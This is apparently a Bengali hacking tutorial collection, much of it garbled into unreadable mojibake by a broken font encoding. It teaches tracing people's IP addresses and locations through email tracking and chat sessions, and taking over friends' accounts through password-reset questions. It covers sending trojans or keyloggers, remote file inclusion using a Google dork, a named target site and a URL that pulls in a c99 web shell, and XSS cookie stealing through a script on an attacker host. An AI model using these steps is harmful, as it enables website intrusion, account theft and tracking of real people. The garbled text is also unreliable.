httpwwwethicalhackernethttpinsecureorghttphackerresourcezcomhttpwwwcertifiedethicalhackercomhttpwwwelitehacknethttpwwwelite-hackerscomhttpwwwexploit-
dbcomhttpwww1337daycomhttpwwwbreakthesecuritycomhttpwwwthehackerslibrarycomhttpwwwport7alliancecomhttpwwwhackersnlhttphackmeintripodcomhttpkyrionhackingtutorialscomhttp
wwwhacking-gurusnethttphackmyasswordpresscomhttpwwwborntohackinhttpwwwcriticalsecuritynethttpww
wmpghnethttpwwwduniapasswordcomhttpwwwprogamercitynetযাকায
ভকতব
কতনচছচ কতকছ ভকতবয নাভ সদযা র মা একজন যাকাচছযয সদখা তযানত গরতবণব তাচছর এখনআ অযমভ কচছয কতদন কতফচছনাদন অয যা সকানটা সকভন রাগচছরা স িচছকব সযায কযচছত বরচছফন না কতকনত বাচছরা থাকচছফন অভায জনয সদাযা কযচছফন অজ এ মনতবআ
TRON (1982) THE GIRL WITH THE DRAGON TATTOO (2009) WARGAMES (1983) DIE HARD 4LIVE FREE OR DIE HARD (2007) SNEAKERS (1992) THE MATRIX (1999) EXISTENZ (1999) THE
CONVERSATION (1974) THE SCORE (2001) FOOLPROOF (2003) HACKER (1995) ANTITRUST (2001) PIRATES OFSILICONVALLEY(1999) THE LAWNMOWER MAN (1992) THE CORE (2003)
VIRTUOSITY (1995) TAKEDOWN (2000) DEJA VU (2006) ONE POINT O (2004) REVOLUTION OS (2001) THE NET (1995) TRON LEGACY (2010) THE ITALIAN JOB (2003) DISCLOSURE (1994)
JURASSICPARK(1993) SWORDFISH (2001) THE THIRTEENTH FLOOR (1999) UNTRACEABLE (2008) GAMER (2009)
কতরচছখচছছনঃ সভচছকতদ াান
যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক
IP Address কতক এফং তায খটিনাটী
IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address
র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয
IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ
1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন
2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version
যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network
ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক
অনায কতনচছজয অআকত এচছে সদখা
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom
একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ
ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23
নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ
সকান চছযফাআচছটয অআকত সফয কযায কতনযভ
মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন
হচছয ফযাখযা
মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom
তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন
কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয
াধাযন বর-ধাযনা
চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন
মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route
এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন
wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না
কতরচছখচছছনঃ সভচছকতদ াান
আচছভআর দাতায অআকত ননধান
অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ
অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন
victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয
ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ
httpwwwdidtheyreaditcom
httpwwwpointofmailcom
ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন
অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা
অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger
MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন
সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-
gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না
সকষতর-২
Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন
সকষতর-৩
Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব
কতরচছখচছছনঃ সভচছকতদ াান
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
